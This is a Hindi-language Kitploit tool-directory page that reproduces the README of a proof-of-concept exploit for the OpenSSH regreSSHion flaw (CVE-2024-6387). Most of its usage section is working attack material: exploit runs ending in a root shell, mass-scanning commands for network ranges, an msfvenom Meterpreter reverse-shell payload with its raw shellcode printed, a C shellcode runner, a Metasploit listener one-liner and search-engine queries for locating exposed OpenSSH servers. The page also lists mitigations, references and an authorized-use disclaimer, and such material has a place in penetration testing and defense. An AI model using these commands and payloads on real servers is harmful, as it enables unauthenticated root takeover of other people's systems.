Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-6387 — CVE-2024-6387 (regreSSHion) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, सिग्नल हैंडलर रेस कंडीशन के माध्यम से OpenSSH सर्वर में अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन को लक्षित करता है। स्कैनिंग, शोषण, और रिवर्स शेल जनरेशन शामिल है। | Kitploit
उपकरण/GitHubGitHub/prelearn-code/cve-2024-6387
भेद्यता विश्लेषणशोषणशेलकोडपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

CVE-2024-6387 (regreSSHion) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, सिग्नल हैंडलर रेस कंडीशन के माध्यम से OpenSSH सर्वर में अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन को लक्षित करता है। स्कैनिंग, शोषण, और रिवर्स शेल जनरेशन शामिल है।

रिपॉजिटरी देखें
232 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

मूल लेख

openssh CVE-2024-6387 - PoC

📜 विवरण

नोट: यह स्क्रिप्ट एक त्वरित प्रोटोटाइप PoC है, कुछ त्रुटियाँ और बग हो सकते हैं। परीक्षण किया गया: Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSH सर्वर में रिमोट अनऑथेंटिकेटेड कोड एक्सेक्यूशन भेद्यता

OpenSSH के सर्वर (sshd) में एक सिग्नल हैंडलर रेस कंडीशन पाई गई, जहाँ कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120, पुराने OpenSSH संस्करणों में 600) के भीतर प्रमाणित नहीं होता है, तब sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है। हालाँकि, यह सिग्नल हैंडलर विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं, उदाहरण के लिए, syslog()।

📁 विषय-सूची

  • 📖 विस्तृत विवरण
  • ⚙️ उपयोग
  • 🔍 होस्ट डिस्कवरी
  • 🛠️ शमन
  • 💁 संदर्भ
  • 📌 लेखक
  • 📢 अस्वीकरण
  • ✍🏻 विस्तृत विवरण

    आप तकनीकी विवरण यहाँ पा सकते हैं।

    यह दोष, जिसे Qualys के शोधकर्ताओं ने May 2024 में खोजा था और जिसे पहचानकर्ता CVE-2024-6387 सौंपा गया है, sshd में सिग्नल हैंडलर रेस कंडीशन के कारण है, जो अनऑथेंटिकेटेड रिमोट हमलावरों को रूट के रूप में मनमाना कोड निष्पादित करने की अनुमति देता है।

    "यदि कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120) के भीतर प्रमाणित नहीं होता है, तो sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है और विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं,"

    "एक रिमोट अनऑथेंटिकेटेड हमलावर इस दोष का लाभ उठाकर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है।"

    ⚙️ उपयोग

    OpenSSH सर्वर की स्कैनिंग

    आवश्यकता: नवीनतम python3

    root@kitploit:~
    $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
    
     ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
    ██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
    ██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
    ██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
    ╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
     ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
       Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
        
    Exploiting vulnerabilities...
    Attempting exploitation with glibc base: 0xb7200000
    Attempt 0 of 20000
    Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
    Received KEX_INIT (1024 bytes)
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    .....
    Exploitation successful..!
    
    ~# whoami && id
    root
    uid=0(root) gid=0(root) groups=0(root) 
    

    निर्यात (csv,txt,json)

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
    

    एकाधिक लक्ष्य

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
    

    टाइमआउट जोड़ना

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
    

    नेटवर्क रेंज

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
    

    कस्टम पोर्ट

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
    

    एस्केलेशन प्रक्रिया

    रिवर्स शेल प्राप्त करना

    root@kitploit:~
    # Generating a shellcode 
    $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 130 bytes
    Final size of c file: 574 bytes
    
    unsigned char buf[] =
    "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
    "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
    "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
    "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
    "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
    "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
    "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
    "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
    "\x78\xed\xff\xe6";
    

    कस्टम पेलोड

    root@kitploit:~
    #include <stdio.h>
    
    // A placeholder of your custom payload 
    const char shellcode[] =
    "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
    "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
    "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
    "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
    "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
    "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
    "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
    "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
    "\x78\xed\xff\xe6";
    
    int main() {
        // Execute shellcode
        printf("Executing shellcode...\n");
        void (*sc)() = (void(*)())shellcode;
        sc();
    
        return 0;
    }
    
    

    वास्तविक पेलोड

    root@kitploit:~
    #include <stdio.h>
     
    
    #define MAX_PACKET_SIZE (256 * 1024)
    #define LOGIN_GRACE_TIME 120
    #define MAX_STARTUPS 100
    #define CHUNK_ALIGN(s) (((s) + 15) & ~15)
    
    // Possible glibc base addresses (for ASLR bypass)
    uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
    int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
    
    // Shellcode placeholder (replace with actual shellcode)
    unsigned char shellcode[] = "\x90\x90\x90\x90";
    

    पेलोड संकलित करना और प्रारंभ करना

    root@kitploit:~
    # compiling payload
    $ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 
    

    पेलोड निष्पादित करना

    root@kitploit:~
    # Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
    $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 
    

    पेलोड कैप्चर करना

    root@kitploit:~
    msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
    

    🔍 होस्ट डिस्कवरी

    • Hunter: /product.name="OpenSSH"
    • FOFA: app="OpenSSH"
    • SHODAN: product:"OpenSSH"
    • CENSYS: (openssh) and labels=remote-access

    🛠️ शमन

    • पैच प्रबंधन: OpenSSH के लिए उपलब्ध पैच को तुरंत लागू करना भेद्यता की खाई को बंद करने के लिए महत्वपूर्ण है। समय पर पैचिंग सुनिश्चित करती है कि ज्ञात एक्सप्लॉइट्स का उपयोग आपके सिस्टम के विरुद्ध नहीं किया जा सकता है, जिससे हमलावरों के लिए अवसर की खिड़की कम हो जाती है।

    • उन्नत एक्सेस नियंत्रण: नेटवर्क-आधारित नियंत्रणों के माध्यम से SSH एक्सेस को सीमित करना सुरक्षा की एक अतिरिक्त परत जोड़ता है। यह दृष्टिकोण SSH कनेक्शन को केवल अधिकृत नेटवर्क या IP पते तक सीमित करके संभावित हमलावरों के लिए जोखिम को कम करता है। फ़ायरवॉल नियमों जैसे उपकरणों को लागू करना या सुरक्षित एक्सेस के लिए VPN का उपयोग करना इन प्रतिबंधों को प्रभावी ढंग से लागू कर सकता है।

    • नेटवर्क विभाजन: अपने नेटवर्क को खंडों में विभाजित करना संभावित उल्लंघन के प्रभाव को सीमित करने में मदद करता है। महत्वपूर्ण सिस्टम और संवेदनशील डेटा को नेटवर्क के कम महत्वपूर्ण हिस्सों से अलग करके, आप हमलावरों द्वारा पार्श्व गतिविधि के जोखिम को कम करते हैं। इस विभाजन को सख्त एक्सेस नियंत्रण और निगरानी के साथ पूरक किया जा सकता है ताकि इन खंडों को तोड़ने के किसी भी अनधिकृत प्रयास का पता लगाया जा सके और उसका जवाब दिया जा सके।

    • इंट्रूज़न डिटेक्शन सिस्टम (IDS): IDS या इंट्रूज़न प्रिवेंशन सिस्टम (IPS) तैनात करने से नेटवर्क ट्रैफ़िक और सिस्टम लॉग की वास्तविक समय में निगरानी संभव होती है। ये सिस्टम regreSSHion भेद्यता से जुड़ी संदिग्ध गतिविधियों और संभावित शोषण प्रयासों का पता लगा सकते हैं। ऐसे सिस्टम द्वारा ट्रिगर किए गए अलर्ट महत्वपूर्ण क्षति होने से पहले त्वरित जांच और शमन की अनुमति देते हैं।

    • शोषण प्रयासों की निगरानी: नेटवर्क और सिस्टम लॉग की निरंतर निगरानी महत्वपूर्ण है। किसी भी असामान्य पैटर्न या गतिविधि की तलाश करें जो OpenSSH भेद्यता का शोषण करने का प्रयास कर सकती है। यह सक्रिय दृष्टिकोण खतरों को नुकसान पहुँचाने से पहले उनकी पहचान करने और उनका जवाब देने में मदद करता है।

    💁 संदर्भ

    • मूल लेखक: CVE-2024-6387 Scanner
    • मूल लेखक: CVE-2024-6387 PoC

    अतिरिक्त संदर्भ

    • http://www.openwall.com/lists/oss-security/2024/07/01/12
    • https://access.redhat.com/security/cve/CVE-2024-6387
    • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
    • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
    • https://github.com/zgzhang/cve-2024-6387-poc
    • https://ubuntu.com/security/CVE-2024-6387
    • https://ubuntu.com/security/notices/USN-6859-1
    • https://www.suse.com/security/cve/CVE-2024-6387.html
    • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
    • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
    • https://www.openssh.com/txt/release-9.8
    • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
    • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
    • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
    • https://www.theregister.com/2024/07/01/regresshion_openssh/
    • https://news.ycombinator.com/item?id=40843778
    • https://security-tracker.debian.org/tracker/CVE-2024-6387
    • https://github.com/oracle/oracle-linux/issues/149
    • https://github.com/rapier1/hpn-ssh/issues/87
    • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
    • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
    • http://www.openwall.com/lists/oss-security/2024/07/01/13
    • https://security.netapp.com/advisory/ntap-20240701-0001/

    📌 लेखक

    • Facebook
    • Twitter (X)
    • Medium
    • वेबसाइट

    📢 अस्वीकरण

    • महत्वपूर्ण नोट:
      • यह टूल केवल अधिकृत पेनेट्रेशन टेस्टिंग और रेड टीमिंग अभ्यासों के लिए विकसित और उपयोग किया जाता है। इसे glibc-आधारित Linux सिस्टम पर OpenSSH सर्वर में भेद्यताओं की पहचान करने और उनका शोषण करने के लिए डिज़ाइन किया गया है। इस टूल का अनधिकृत उपयोग सख्त वर्जित है। इस टूल के स्वामी किसी भी अनधिकृत पहुँच या टूल के दुर्भावनापूर्ण उपयोग के लिए ज़िम्मेदार नहीं हैं।
    • कानूनी नोटिस:
      • संबंधित स्वामियों से स्पष्ट प्राधिकरण के बिना सिस्टम या नेटवर्क पर इस टूल का अनधिकृत उपयोग लागू कानूनों और विनियमों का उल्लंघन कर सकता है। साइबर सुरक्षा परीक्षण और मूल्यांकन को नियंत्रित करने वाले कानूनी और नैतिक मानकों का अनुपालन सुनिश्चित करने की ज़िम्मेदारी उपयोगकर्ताओं की है।
    टूल डाउनलोड करें